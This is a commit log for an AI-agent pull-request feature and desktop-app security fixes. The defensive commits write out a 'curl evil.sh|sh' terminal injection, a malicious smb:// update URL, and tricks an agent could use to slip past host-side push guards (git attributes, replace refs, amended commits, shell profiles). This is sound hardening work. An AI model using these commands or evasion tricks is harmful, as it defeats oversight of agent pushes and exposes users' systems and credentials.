Deriving PI_TIMEOUT_MS from the E2B lifetime applied it to every provider, so a
Daytona Create PR run lost its ~90-minute agent turn to a ceiling Daytona does
not have — it stops on inactivity instead. The reserve now only applies when the
provider imposes an absolute lifetime.

A configured PI_SANDBOX_LIFETIME_MS below the clone and finalize reserves left no
positive remainder for the turn, so E2B could reap the sandbox before the push.
Such a value is raised to a floor rather than rejected: a module-scope throw on a
config typo would take down every path that imports this, not just Pi.

github_job_logs returns its response body verbatim, so unlike its siblings that
parse a typed shape, a coordinate carrying URL syntax turned a bearer-authenticated
request into a general read. Path segments are now escaped and the job id checked.

Also corrects the plan's rollup field path: GraphQL's CheckRun has no output
object, and isRequired is Boolean!, so stage 2 needs neither the nested path nor
an unknown-required branch.

Co-authored-by: Cursor <cursoragent@cursor.com>

* Add Pi Babysit mode

* fix(pi): wait on required checks before optional failures

* fix(pi): preserve Daytona babysit budget

* fix(pi): bound babysit round setup

* fix(pi): keep babysit sandboxes active

* fix(pi): report babysit round state accurately

* fix(pi): classify babysit finalize failures

* fix(pi): preserve babysit partial state

* fix(pi): retain post-push check state

* fix(pi): retain pending rereview state

* fix(pi): normalize empty sandbox provider

* Move Babysit into Create PR

* Fix Babysit wait-only budgeting

* Wait for reviews before skipped-thread exit

* Polish Babysit reviewer field spacing

* Fix duplicated Internet Search section from staging merge

The staging merge landed the branch's Internet Search section and
staging's reviewed replacement side by side, leaving two `### Internet
Search` headings and two `#internet-search` anchors. The branch's copy
also still claimed a Settings > BYOK fallback for the search key, which
staging deliberately removed.

Keep staging's section and fold the branch's only new fact — that the
Babysit continuation sandbox carries both keys — into its warning callout.

* fix(pi): correct Babysit check, budget, and push-guard accuracy

Correctness:

- The `.github/` push refusal compared raw `git diff --name-only` output,
  which git C-quotes for non-ASCII paths. `.github/workflows/évil.yml`
  arrived as `".github/workflows/\303\251vil.yml"` — leading quote included
  — so neither `.github` nor `.github/` matched and the file pushed. Both
  name-listing diffs now pin `core.quotePath=false`; Create PR's does too so
  `changedFiles` reports real names.
- `CANCELLED` and `STALE` were counted as non-failing conclusions, so a
  cancelled required check produced `checksGreen: true` and `stopReason:
  'clean'` on a PR branch protection still blocks. Both now fall through to
  failing, matching every other unknown conclusion.
- The per-round check bound counted optional checks, so a repo with a wide
  optional matrix ended the run at `bounds_exceeded` before a single review
  thread was addressed. Only required-check overflow is fatal now; the rest
  trims, required checks first, and reports what was left out. This also
  makes the prompt's existing slice reachable.
- A re-review request that posted nothing still re-armed `requestedAt` with
  `landed: false`, leaving the loop waiting on a review nobody had asked
  for — burning the remaining lifetime on a billed idle sandbox before
  reporting `awaiting_review` on a clean PR. The previous request now stands.
- Prompt bounds threw where every other bound in the file trims, ending a
  busy PR's run on round one after the PR and its review comments were
  already posted. They now drop trailing entries and note the omission.
- `babysitMode` used a strict boolean compare; a `switch` input arriving as
  the string 'true' silently opened a draft PR and skipped Babysit while the
  editor showed it enabled. Matches `wait-handler`'s coercion now.
- The fork check compared head against the block's typed owner/repo, so a
  renamed repository — which GitHub serves through a 301 while reporting the
  canonical name — was reported as a fork. Compares head against base now.
- Each round's diff is capped like Create PR's. The cumulative guard measures
  the net change, so a round that reverts an earlier addition passed it while
  contributing a full-size diff.
- Reviewer mentions must start with `@`. Each entry becomes its own issue
  comment re-posted every round, so a comma inside one left prose on the PR.

Efficiency:

- Thread and check reads per poll now run together; neither consumes the
  other's result and both are paginating loops.
- `babysitReviewLandedSince` takes the `latestReview` the caller already
  fetched instead of re-listing the PR for it.
- Actions log reads fan out in small batches rather than one at a time.

Cleanup:

- `BabysitFinalizeError` was a twin of `BabysitGitHubError`; folded together.
- Replaced the hand-inlined copies of `threadsAreClean`.
- Dropped `MEMORY_MODES`, a duplicate of `AUTHORING_MODES`, and the
  `parsePiMode` tombstone for a mode that never shipped.

Adds regression tests for the quoted `.github` path, cancelled/stale required
checks, and the renamed-repository snapshot.

* fix(pi): budget Babysit against the run's real deadline

Three fixes that each needed to land a level below where the symptom showed.

Execution deadline. Babysit planned its wait loop against
`getMaxExecutionTimeout()`, which unconditionally returns the enterprise
async ceiling (90 min) with no regard for the run's plan or sync/async mode
— the sync ceiling is 300s on free, 3000s on pro. A synchronously triggered
run was therefore killed mid-loop with the PR already opened, its review
comments already posted, and none of the rounds/stopReason outputs produced.

Rather than thread a numeric deadline through ExecutionContext — five entry
points that would each have to remember it, and nothing to catch the one that
forgot — `createTimeoutAbortController` now records the deadline against the
signal it creates, and `getRemainingExecutionMs(signal)` reads it back. The
number cannot disagree with the timer that enforces it, because both are
established in the one place the timeout exists, and every entry point
already hands the executor that signal. `undefined` means unknown, not
unlimited: Babysit keeps the old ceiling as its fallback for an untimed run.

Job logs. The executor caps a response at 10 MB and throws rather than
truncating, so a verbose CI job produced no diagnostic at all — and GitHub
Actions reports null title/summary on every check run, leaving the agent a
bare URL it has no tool to follow. The tool now sends `Range: bytes=-N` so
the storage host returns only the tail. Since a suffix range is a request and
not a guarantee, a 200 still takes the local slice.

That made the old output dishonest, so the contract changed while the tool is
still new and has one consumer: `totalCharacters` (which a ranged read cannot
know) is replaced by `totalBytes`, sourced from the `Content-Range` total and
null when unreported. A ranged body is trimmed at its first line break, since
the byte window cuts mid-line and can split a multi-byte character.

Generated docs. `github.mdx` was missing the `repo_full_name` the PR reader
now returns, and regenerating deleted the head/base rows instead of adding it:
`scripts/generate-docs.ts` only expands a spread at depth 0 of a const, and
`PR_BRANCH_REF_OUTPUT` spread inline under `properties`. Restructured into a
named properties const in types.ts, next to the shapes it belongs with, which
the generator resolves the same way it already resolves BRANCH_REF_OUTPUT.

Only the github.mdx hunk is committed. The generator is lossy elsewhere —
it drops 126 lines of trigger configuration from jira.mdx — which is
pre-existing drift for whoever owns that surface, not this branch.

* fix(pi): refuse any Git-quoted path before the Babysit push

`core.quotePath=false` stopped Git escaping non-ASCII bytes, but it closed one
instance rather than the class. Git still quotes any path it cannot state on a
single line — one containing a newline, a double quote, a backslash, or a tab —
and such a path arrives with a leading `"`, so the `.github/` prefix test does
not match it and the refusal is bypassed exactly as before.

Refuse any quoted path outright. Unescaping instead would put a second
implementation of Git's quoting rules on the security-relevant side of the
push, and these characters have no legitimate place in a source path.

* fix(pi): harden the Babysit push against a repository the agent controls

Every host-side guard before the push was computed by a git invocation the
agent could influence from inside `.git/`, which is never committed and so is
covered by neither the config digest nor any content check.

- Diff measurement ignored `.git/info/attributes`. One line saying `* -diff`
  reduced a 500 KB change to `Binary files differ`: verified locally as 119
  bytes reported against a real 500,147, so the 200 KB cumulative bound never
  fired, and the `diff` block output — the only record of what an unattended,
  review-comment-steered agent pushed — recorded the same nothing. Both diffs
  now run `--text --no-ext-diff --no-textconv` with an empty
  `core.attributesFile`.
- `rev-list --count` and `merge-base --is-ancestor` answered about replaced
  history. A `refs/replace/*` mapping makes a five-commit chain report one,
  while the pushed SHA stays real. `GIT_NO_REPLACE_OBJECTS` is now set for
  both the prepare and push commands.
- The push asserted HEAD's *shape* — right branch, one commit past the pin, a
  descendant — every part of which survives `commit --amend` to a different
  tree. So the bounds, the quoted-path refusal, the `.github/` refusal and the
  reported diff could all describe a commit other than the one pushed. The
  validated SHA is now passed in and the refspec names it.
- The digest comparison resolved `cat`, `sha256sum` and `cut` through `$PATH`
  in the same script that invokes git absolutely for exactly that reason, and
  was handed the expected digest in its own environment — so a shim could
  print it. The utilities are now absolute.
- The clone left the token in `.git/config` when the pinned-SHA assertion
  failed, because `set -e` aborted before `remote set-url`. Reordered.
- `changedFiles` reached the block output unscrubbed on the Babysit path,
  where Create PR already scrubs it. Names are agent-chosen.

These reduce exposure; they do not bound it. E2B runs each command as
`bash -l`, so a login-shell profile the agent writes executes ahead of the
next host command with the token in its environment. Removing the token from
the sandbox entirely means pushing host-side through the Git Data API, which
the ≤50-file / ≤200 KB bound already makes practical.

* fix(pi): correct switch coercion for draft and tidy Babysit reporting

- `draft` had the same string-coercion bug that `babysitMode` was fixed for one
  line above it. A switch arrives as `'true'`/`'false'` when its value came
  through a variable reference, an API trigger payload, or a legacy serialized
  workflow, and `inputs.draft !== false` read `'false'` as truthy — opening a
  draft PR against the user's explicit setting. Both now go through one
  `isSwitchEnabled` helper that handles either polarity and takes the field's
  default, because the bug is opposite on each.
- `mergePhaseDiffs` joined two separately-capped diffs without re-capping, so
  the combined output could reach twice MAX_DIFF_BYTES.
- The cancellation poller's `logger.warn` was the one message in these files
  emitted unscrubbed. A Redis poll error is unlikely to carry a run credential,
  but a uniform invariant is easier to keep than a per-call-site argument.
- Renamed `waitWithSandboxKeepalive` to `waitWithSandboxProbe`. E2B's `timeoutMs`
  counts down from create and is reset only by `Sandbox.setTimeout`, never by
  running a command, so `true` every four minutes proves liveness and buys no
  time. The old name invited raising the round wait on the assumption that waits
  extend the sandbox, which would let E2B reap it mid-wait.
- Dropped a `{@link}` to a symbol in another module that was never imported.

* docs(tools): record why the Babysit GitHub tools are registry-only

The same branch added four user-facing GitHub tools through the full
block-exposure recipe (v2 variant, tools.access, dropdown, subBlocks) and
five internal ones through none of it. The distinction is deliberate — the
five are called by the Pi Babysit handler via executeTool, which resolves
against the registry rather than any block's access list — but nothing in CI
encodes it, and `check-block-registry.ts` silently skips ids it cannot find.

Worth stating because the trap is non-obvious: `GitHubV2Block` builds its
access list by appending `_v2` to every entry, so adding one of these to
`tools.access` without first adding a v2 variant would point the block at an
id that does not exist.

* docs(pi): document the clean stop reason and Babysit's fixed bounds

The FAQ told readers to inspect `stopReason`, but the reference list never
named `clean` — the one value that means the PR actually reached the goal
state — and omitted `closed_or_merged`, `fork_pr`, and `check_read_failed`.

Also records the bounds that were previously undiscoverable, split by how
each one actually behaves: the reviewer-mention limits reject the block
before the run starts, the 30-thread limit trims a round, and only the
failing-check and cumulative-change limits produce `bounds_exceeded`.

Corrects step 6, which claimed Babysit reruns CI. It never does — the push
is what re-triggers checks.

Co-Authored-By: Claude <noreply@anthropic.com>

* docs(tools): correct and widen the registry-only note

The previous note contrasted these five with "the user-facing tools added
alongside them", implying this branch added both. It did not: the branch
never touches blocks/blocks/github.ts, and github_create_pr_review came from
#5471, which predates staging. The real contrast is with every user-facing
GitHub tool in the registry.

Also records the governance consequence, which was the part actually worth
writing down: the permission-group deny list is built from tools.access, so
an admin cannot deny these from the UI, and the allowedIntegrations gate
keys on block type while Babysit calls them with a tool id alone.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(pi): size the sandbox to the run's own execution timeout

The Pi sandbox lifetime was a global constant while the execution timeout is
per-plan and per-mode, varying 18x (a free sync run gets 5 minutes, an async
run 90). Every Pi sandbox asked E2B for the same sub-hour ceiling, so a
five-minute run whose web process died left a sandbox billing for an hour.
PI_SANDBOX_LIFETIME_MS could not close the gap: its floor is 31 minutes.

resolvePiRunLifetimeMs lowers the provider ceiling to whatever the run's own
deadline leaves, read from the signal that enforces it. Untimed runs and
Daytona are unchanged, so no path gets a longer lifetime than before.

The turn cap had to move with it. PI_TIMEOUT_MS reserved the clone and both
finalize budgets out of the ceiling as a module constant; leaving it there
while shrinking the lifetime would re-open the exact bug its docs describe —
the sandbox dying first, taking the agent's finished work with it unpushed.
It is now resolvePiTimeoutMs(lifetimeMs), and each backend resolves the
lifetime once and feeds both, so the two cannot disagree.

Two things this surfaced:

Babysit had to read context.signal, not the cancellation signal it uses
everywhere else. createCancellationSignal returns a fresh controller that
only forwards aborts, so the deadline lookup answers "unknown" through it and
would have silently left the longest-lived mode on the ceiling. Covered by a
test that fails against the wrong signal.

The E2B adapter tested lifetimeMs for truthiness, so a run resolving to zero
would have had the key dropped and been handed the SDK's five-minute default
- longer than it asked for, on the run least entitled to it.

Options precede the callback in withPiSandbox so that adding one did not
re-indent every caller's sandbox body.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(pi): raise the sandbox ceiling to the longest execution we allow

The ceiling was pinned just under E2B's one-hour *Hobby* session limit. Sim is
on Professional, where the limit is 24 hours, so the cap was enforcing a
restriction no plan imposes — and it sat below the 90-minute async execution
ceiling, which made the sandbox the binding constraint. A long Babysit run
could be handed a 90-minute budget and still lose its sandbox at 59.

Derived from getMaxExecutionTimeout rather than given a number of its own, so
the sandbox always outlasts the longest run the platform permits and an
operator who raises the async timeout does not have to know this file exists.
The provider session limit stays as a clamp, so the derivation can never ask
E2B for a lifetime it will refuse.

Effect: ceiling 59 -> 90 min, and the agent turn it funds 29 -> 60 min, since
resolvePiTimeoutMs reserves the clone and both finalize budgets out of it.
Runs with a shorter deadline are unaffected — resolvePiRunLifetimeMs already
lowers the ceiling to whatever the run itself has left.

Co-Authored-By: Claude <noreply@anthropic.com>

* docs(pi): describe the deadline-sized sandbox, not a fixed hour

Both facts in this paragraph were stale: the lifetime is no longer a single
sub-hour constant (it tracks the run's own remaining execution time), and the
ceiling was justified by E2B's Hobby limit on an account that is on
Professional.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(pi): share the sandbox sizing and lift E2B off the base default

The two Pi images had drifted on exactly the axis their shared module exists to
prevent. Daytona asked for 4 CPU / 8 GB; the E2B template asked for nothing and
inherited its base default of 2 vCPU / 512 MB. That is a 16x memory gap between
the provider Pi normally runs on and the one it fails over to, so a failover
could be OOM-killed doing work that had just succeeded.

512 MB is too small independently of the drift: the Pi CLI is a Node process
holding an LLM context, running beside a clone of the user's repository, and
Node is OOM-killed rather than degraded at that ceiling — which reaches the
user as an opaque agent failure.

CPU and memory now come from pi-sandbox-packages.ts alongside the package
lists. Disk stays in the Daytona renderer: its 10 GB per-sandbox cap is a hard
provider limit with no E2B equivalent, so it is the one dimension where the
images legitimately differ.

E2B fixes resources at template build time, so this takes effect only when
build-pi-e2b-template.ts is re-run — nothing builds these images in CI.

Co-Authored-By: Claude <noreply@anthropic.com>

* chore(pi): remove internal planning files

* chore(pi): remove generated review commands

* fix(pi): align babysit toggle visibility

---------

Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local>
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Bill Leoutsakos <billleoutsakos@Mac.localdomain>
Co-authored-by: Vikhyath Mondreti <vikhyath@simstudio.ai>
Co-authored-by: Claude <noreply@anthropic.com>
…ktop app (#6065)

* fix(desktop): gate terminal writes and user activation on real OS input

The `needsUserActivation` gate asked the renderer about
`navigator.userActivation` via `frame.executeJavaScript`, which evaluates in
the page's main world — the same world as the compromised page the gate exists
to stop, which need only redefine `navigator.userActivation` to pass it. The
channels with no native confirmation behind them (`browser-credentials:forget`,
`forget-all`, `browser-agent:clear-browsing-data`) had that as their only
protection, so a background script could wipe the saved-password vault.

`terminal:write` had no second gate at all. It is a `send` channel, and the
send branch ran only the origin and feature checks, so an XSS'd or hostile app
origin reached arbitrary command execution: `terminal:start` for an id, then
`write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing
`\r`. The tool-authorization binding covers `terminal:execute-tool` only.

Both now answer from the main process's own record of OS input. Chromium
delivers every input event to main before the renderer sees it and page script
cannot synthesize one, so unlike panel focus (`terminal:focused`, a
renderer-asserted claim the same attacker can set) it is a real boundary.
Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove`
arrive whenever the cursor rests over the window.

* fix(desktop): reclaim tmux run temp directories that outlive their wait window

`startRun` makes a temp directory per run holding the tee target and the status
file, and only its handle can remove it. `runInTmux` disposed the handle on the
`outcome.done` branch only — on the still-running path the handle was a local
that went out of scope, and nothing polls that run again (`read` captures the
pane instead). With a 30s default wait, every longer command leaked its
`/tmp/sim-tmux-run-*` directory for the life of the process while `tee` kept
appending the full output to it.

Handles for still-running commands are now held per terminal and reclaimed by
the terminal's own lifecycle: `retire`/`dispose` release them all, and a new run
on the same terminal first reaps any whose status file has since appeared. No
reaper timer — the new-run path is already doing run bookkeeping. Live runs are
left alone, since their tee is still writing there.

Not a security issue: the directories are 0700 in the per-user tmpdir and tmux
reaps the window itself. It is unbounded disk and inode growth.

* fix(desktop): contain sign-in handoff failures when no window is available

`handleCallback` awaited `deps.ensureMainWindow()` as its first statement with
no try/catch, and index.ts dispatches it fire-and-forget as
`void authFlow.handleCallback(callback)`. The wired `ensureMainWindow` throws
`Main window unavailable`, and main registers no `unhandledRejection` handler,
so a user who closed the window while signing in through their browser turned
the loopback callback into an unhandled rejection. `beginLoginHandoff` had the
same shape, so both are fixed rather than one.

Both entry points now resolve the window through a helper that records the
failure via the existing `handoff_redeem_fail` event and returns null, and the
two `void` dispatch sites carry a `.catch()` backstop for anything the flows do
not record themselves. Not attacker-triggerable: `onLogin` fires only after
`matchesPending()` validates the state that only the user's own browser holds.

* fix(desktop): validate manual-update download urls against the scheme allowlist

`buildManualEngine` regex-extracted `url:` values from the manifest served by
the configured origin and handed the first `.dmg`/`.zip` straight to
`shell.openExternal` — the only openExternal in non-test code that skipped
`openExternalSafe`, whose own docs state "Every openExternal in the app goes
through here". A hostile feed, or a hostile self-host origin the user was
tricked into configuring, could return `version: 999.0.0` plus
`url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so
a Download click handed an arbitrary scheme to the macOS URL handler, launching
a registered protocol handler instead of downloading.

Candidates are now filtered with `isSafeExternalUrl` at selection, so an
unusable url is never advertised as an available update at all, and the open
goes through `openExternalSafe` so the allowlist also holds at the sink.
Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin,
so a self-host on localhost is legitimate.

Reachability is capped: `detectSelfUpdateCapability` selects the
signature-verifying electron-updater engine on Developer-ID builds, so the
manual engine runs only on ad-hoc-signed local/CI prerelease builds.

* fix(desktop): scope credential presence grants to the operation proven

`provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and
read it without reference to what the caller was about to do. `copyCredential`
puts the plaintext on the clipboard from inside main and returns a boolean;
`revealCredential` returns the string itself to the renderer. With one
undifferentiated grant, approving a native "Copy password?" prompt silently
authorized a plaintext reveal for the remaining 30s with no second prompt — the
OS prompt is the only human-in-the-loop control on plaintext egress, and its
label described something weaker than what it granted.

Grants now carry their operation and are compared with an ordering rather than
equality: reveal is the stronger claim, so a reveal grant still covers a later
copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS
was designed for (the plaintext is already on screen, so re-prompting to put
that same string on the clipboard buys nothing). Only the weaker-implies-
stronger direction is closed.

`operation` is required rather than optional so the compiler names every call
site; it found both.

Not addressed, deliberately: the non-biometric fallback still uses
`defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left
for a decision rather than folded in here.

* fix(desktop): DNS-check agent subresources that are readable or execute

The agent partition's onBeforeRequest ran the resolving guard for mainFrame and
subFrame only; everything else fell to isBlockedRequestUrl, which sees literal
IPs and returns false for any hostname by design. A public name with a static
private A record therefore reached internal services from a page the agent was
steered to — no rebinding required. The vectors that matter are the ones whose
response comes back or runs: a WebSocket to an internal server reads data frames
cross-origin because such servers commonly ignore Origin, and a script or xhr
response executes in the page or is readable.

Subresources now take isBlockedSubresourceUrl, with the verdict cached per host
(30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per
asset. Images and fonts keep the synchronous path: high volume, not readable
cross-origin, leaving the load/error timing oracle as the accepted residual.

The exemption is expressed as what skips the check, not what gets it, so a
resource type Chromium labels unexpectedly fails safe into the checked path —
fetch is `xhr` on some versions and `other` on others, and an allowlist that
missed the label in use would silently reopen the hole.

Resolver errors fail closed, matching checkAgentUrl, and that verdict is not
cached so a transient failure does not stick. The deliberate loopback carve-out
is unchanged — isBlockedAddress already exempts it on both paths.

* fix(desktop): close three credential-disclosure gaps in agent page functions

Closed shadow roots. activeElementSecrecy is the only gate the driver consults
before dispatching trusted CDP keystrokes, and it descended focus solely through
`active.shadowRoot` — null by design for a closed root, while focus inside one
retargets to the host, whose tagName is never INPUT. So a password field in a
closed root reported 'safe', and Tab crosses closed boundaries natively. Now
treated like a cross-origin frame. Detected by focusability rather than by tag:
attachShadow accepts plain div/span/section as well as custom elements, so a
tag test would miss half of them, whereas an element that is not focusable in
its own right cannot be activeElement unless focus was retargeted out of a
shadow tree.

Multi-token autocomplete. isSecretField compared the whole attribute against
'current-password'/'new-password', but the spec allows space-separated detail
tokens and WebAuthn recommends `current-password webauthn`. Those values fell
through on exactly the type=text credential fields where autocomplete is the
only signal. Now split into tokens, in all seven copies — the duplication is
required by the `String(fn)` serialization contract, so consolidating was not an
option.

OTP and payment values. Deliberately NOT added to isSecretField: that helper
also gates keystrokes, so folding them in would have stopped the agent
completing a checkout or an OTP prompt — work it is legitimately asked to do.
A separate predicate withholds only the value at the two emission sites, and the
field is still reported with its real tag so the agent can fill it.

* fix(desktop): hand the panel occlusion frame only to a user-driven renderer

capturePanelSnapshot sent a JPEG of the agent browser's current page to the app
renderer, which is content that renderer's own JS cannot otherwise read — the
view is a separate process composited over the window. A compromised renderer
can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself,
so it could aim the shared agent browser at a site with a persisted session and
collect its pixels by script alone, bypassing the tool-call binding that guards
browser_screenshot for exactly this reason.

The frame is now withheld unless the main process has seen recent real input in
that renderer, which is what an overlay opening actually represents. The
flicker-prevention behaviour is untouched: an empty capture already returns
before the send while `finally` still runs the occlusion, so "occlude without a
placeholder" is a path the state machine already handles rather than a new one.

* fix(desktop): act on adversarial review of the security fixes

Six review agents went through the branch line by line. Several of the fixes
were wrong, incomplete, or worse than the finding they closed.

terminal:write was gated on the whole channel, which is a functional break, not
a fix. That channel carries xterm.js's entire upstream stream, and much of it is
not typing: the PTY solicits replies the terminal must answer unprompted — DSR
cursor position (p10k/starship emit it every prompt), device attributes, focus
reports set by tmux and vim. Now only a payload that can submit (one containing
a newline) needs input behind it. Also stated plainly in the code: this is a
mitigation. Text without a newline still lands in the line buffer where the
user's own Enter submits it, and closing that needs the interactive path off the
renderer surface, not a better gate.

The panel occlusion gate is reverted outright. Occlusion is driven by any
element marked data-native-surface-overlay, which includes tooltips (hover, and
hover is deliberately not "deliberate input") and toasts (no input at all), so
the common case regressed. Worse, the renderer only ever sets panelSnapshot and
never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the
exact defect panel.test.ts was written to prevent — while the already-delivered
frame stays readable. Net negative on both axes.

The credential grant ordering is inverted to exact match. reveal was treated as
dominating copy, but copy publishes plaintext to the macOS pasteboard: readable
by every process, persisted by clipboard managers past the 30s clear, and synced
to other devices by Universal Clipboard. The operations are incomparable.

Update downloads are constrained to the release asset prefix, not just to https.
The feed rewrites every entry to github.com/simstudioai/sim/releases/download/,
so nothing legitimate is excluded — while scheme-only validation still admitted
an attacker-hosted DMG that the download dialog walks the user through
installing, which is worse than the protocol-handler launch originally fixed.
The loopback exemption is dropped with it: no legitimate asset is ever http.
State goes to 'error', not 'idle', so a blocked shell is not told it is current.

Subresource DNS verdicts cache the promise, not the boolean. Caching only the
result left every request arriving before the first lookup settled to start its
own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with
every fs call in main — a page naming hundreds of hosts could stall the settings
write and the credential vault.

Also: an eighth copy of the credential-token vocabulary in the browser preload
was missed by the original commit while its comment claimed parity, so fill went
blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength
and told the agent a successful fill was still empty, inviting a doubled code;
tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT
are focusable and no longer report opaque; drags count as input; a backwards
clock step no longer satisfies a recency gate; and clearing cache or profile now
clears resolved-host verdicts too.

The closed-shadow residual is documented rather than closed: a host carrying
tabindex or contenteditable still reports safe, and refusing those would block
Enter and Space on ordinary <div tabindex="0"> buttons, since a closed root is
indistinguishable from no root at all.

* refactor(security): one DNS resolver for every SSRF guard, checking all addresses

Five independent `dns.lookup` bodies existed — four in apps/sim
(validateUrlWithDNS, the database-host check, MCP domain-check, 1Password
Connect) and one in apps/desktop's agent url-guard. The four in apps/sim were
copy-paste identical, and two properties diverged in ways that mattered:

They classified ONE address. `resolved.find(family === 4) ?? resolved[0]`
picked an address to pin and then judged only that one, so a host publishing
both a public and a private record passed whenever the public record sorted
first. That is record order, not policy, and validateUrlWithDNS alone is reached
from ~70 call sites. Now every address is classified and the IPv4-preferred one
is still what gets returned to pin — the pinning rationale (Happy Eyeballs
fallback is stripped, and a pinned IPv6 address hangs on IPv4-only egress) is
untouched.

They had no deadline. Only the desktop copy bounded the lookup, so a hung
resolver could hold an apps/sim request handler open indefinitely. The shared
helper carries the 5s deadline, the swallowed late rejection, and the always
cleared timer.

`resolveHostAddresses` lands in `@sim/security/dns` as its own subpath, so the
`node:dns` dependency reaches only the servers that import it — apps/realtime
pulls `@sim/security/compare` and nothing else, and the prune graph is unchanged
at 14 workspaces.

Two lookups deliberately stay as they are: `createSsrfGuardedLookup` is a
socket-connect `LookupFunction` that needs raw entries with their family and
already validates every address, and desktop's per-host verdict cache keeps its
own loopback policy on top of the shared resolver.

The localhost carve-out is tightened as a consequence: it applies only when
every record is loopback, so `localhost` that also resolves to the LAN no longer
rides it.

* fix(security): filter refused DNS records instead of failing the host

validateUrlWithDNS rejected a host outright when any resolved address was
private, while createSsrfGuardedLookup in the same file filters the private
entries and connects to what remains. Filtering is equally safe — you pin a
surviving public address — and rejecting broke a split-horizon resolver that
answers with a private record alongside the public one, on a path with ~70 call
sites and no operator opt-out. The pin is re-preferred over the surviving set so
it can never be an address the filter just refused.

Also from the review round: the browser preload's isPasswordField and
findIdentifierField now split autocomplete tokens like the agent guards they
claim parity with (a WebAuthn `current-password webauthn` field was invisible to
credential fill); the subresource verdict cache holds the promise rather than the
boolean, so the requests one page fires at a host share a lookup instead of each
queueing its own getaddrinfo on the four-slot libuv threadpool that main's fs
calls also use; trailing-dot hosts normalize to one cache entry; the resolver
carries a distinct DnsTimeoutError so an outage is not reported as a missing
host; and clearHostVerdictCache is wired into both the profile wipe and the
cache-clear path, since a resolved-host classification is browsing-trail data.

* fix(desktop): invert the terminal-write gate, and finish the XHTML normalization

Three defects from the second review round, two of them in the previous
round's corrections.

The tagName upper-casing was half-applied and made things worse. `focusableItself`
compared the normalized tag while the frame-descent branch thirty lines below
still compared raw `active.tagName`. In an XHTML document — where tagName is
lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore
passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch
(active.tagName === 'iframe'), fell through, and returned 'safe': the verdict
that authorizes trusted CDP keystrokes. Before the correction the same page
returned 'opaque'. Now normalized once per loop body and used at every
comparison, in readActiveElementState too.

The submit gate enumerated the dangerous set, which is not a closed set. Besides
carriage return and newline, 0x04 hands a partial line straight to a
canonical-mode reader, and 0x0f is operate-and-get-next in bash and
accept-line-and-down-history in zsh — both execute the current line — and a
user's own inputrc or zle bindings can add more. Inverted: the replies the PTY
solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and
everything else is gated, so a binding nobody thought of fails closed.

The residual was understated. The window is satisfied by any input in the
renderer — a keystroke in the chat, a scroll, a drag — not by the user's own
Enter, so a looped payload lands the moment they touch anything, and while they
type in the terminal it is open continuously. Said plainly now, with what
closing it would actually take.

Also: credential grants are keyed on credential AND operation, so exact match no
longer prompts three times for reveal → copy → reveal when each was already
proven; the panel.ts comment the revert deleted collaterally is restored, so the
file leaves this branch untouched; updater's release-asset helpers no longer sit
between feedUrlForOrigin's TSDoc and its function, and the asset path is a
constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so
the recency windows cannot lapse mid-test on a loaded machine; and dead exports
(isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field,
and a shadowed loop binding are cleaned up.

* refactor(desktop): simplify what the security fixes added

Quality pass from four parallel reviews (reuse, simplification, efficiency,
altitude). No behavior change; every gate is unchanged.

Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the
IPv4-first rule inline — one 106-line file had two implementations of the rule
its own TSDoc says callers depend on. url-guard's three host-normalization sites
had two different rules (only one stripped a trailing dot); they share guardHost
now. os-auth's grace check gained the same backwards-clock guard input-activity
already had, since it is the same kind of security window. And a hand-rolled
IPv6 bracket strip in input-validation.server.ts now calls the
unwrapIpv6Brackets already imported at the top of that file.

Simplification. Credential grants are a nested Map rather than a composite
string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS —
and makes revoke-by-credential a single delete, so a third operation added later
cannot be missed by a revoke that forgot to enumerate it. The 15-term
focusableItself chain is a local array. The 4-line token rationale was pasted
above seven required copies of a 3-line expression; it is stated once now, and
the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled
pattern table rather than six alternations on one line. tagName is upper-cased
once per loop body instead of three times. A side-effecting .filter() is a loop.
senderHasUserGesture's TSDoc no longer documents the implementation it replaced.

Efficiency. The expired-first eviction sweep is removed: every entry gets the
same TTL and a refreshed host is re-inserted at the back, so insertion order IS
expiry order — the sweep could never find an entry the front eviction does not
already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses
ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address
twice. dispose() no longer copies the key set to then get and delete per key.

Also: validateDatabaseHost tests the allow-flag before scanning rather than
after, the blocked-address log line reports the address actually blocked rather
than an arbitrary record, and the preload's two autocomplete-token idioms became
one reader.

Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the
channel gate a predicate (changes the dispatcher shape on both arms); a
consume-once submit gate (behavior change, needs a paste path); folding the
three-way request dispatch into one guardAgentRequest export; hoisting the
release-repo identity into packages/desktop-bridge, which is worth doing and
would make electron-builder.yml, update-feed.ts and updater.ts one fact instead
of three; a shared helper prelude in execInPage so isSecretField stops being
seven copies; and a CDP-sourced focus verdict so the driver stops trusting a
page-derived signal at all. The last three are the ones worth a follow-up.

* docs(desktop): correct comments that no longer match the code

Comment audit over the branch. ~75 lines removed, no rationale lost. Two of
these were actively misleading and are the reason the pass was worth running.

Three comments still described the terminal gate as newline-keyed after the
